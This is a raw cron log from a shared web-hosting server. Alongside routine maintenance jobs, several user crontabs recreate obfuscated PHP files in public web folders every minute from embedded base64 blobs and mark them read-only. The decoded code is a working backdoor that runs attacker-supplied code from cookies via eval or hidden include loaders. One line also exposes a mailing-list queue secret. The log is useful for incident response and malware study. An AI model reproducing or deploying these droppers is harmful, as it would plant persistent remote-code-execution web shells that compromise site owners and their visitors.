Mar  1 08:43:01 medusa CROND[19049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:43:01 medusa CROND[19050]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 08:44:01 medusa CROND[8341]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:44:01 medusa CROND[8342]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:44:01 medusa CROND[8343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:44:01 medusa CROND[8344]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:44:01 medusa CROND[8349]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:44:01 medusa CROND[8347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:44:01 medusa CROND[8348]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:44:01 medusa CROND[8353]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:44:01 medusa CROND[8350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:44:01 medusa CROND[8364]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:44:01 medusa CROND[8365]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:44:01 medusa CROND[8369]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:44:01 medusa CROND[8370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:45:01 medusa CROND[30131]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:45:01 medusa CROND[30215]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30262]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:45:01 medusa CROND[30264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:45:01 medusa CROND[30265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:45:01 medusa CROND[30269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:45:01 medusa CROND[30272]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:45:01 medusa CROND[30273]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:45:01 medusa CROND[30276]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:45:01 medusa CROND[30275]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:45:01 medusa CROND[30278]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:45:01 medusa CROND[30287]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:45:01 medusa CROND[30290]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:45:01 medusa CROND[30291]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:45:01 medusa CROND[30292]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:45:01 medusa CROND[30294]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:45:01 medusa CROND[30296]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:45:01 medusa CROND[30298]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30300]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30282]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:45:01 medusa CROND[30277]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
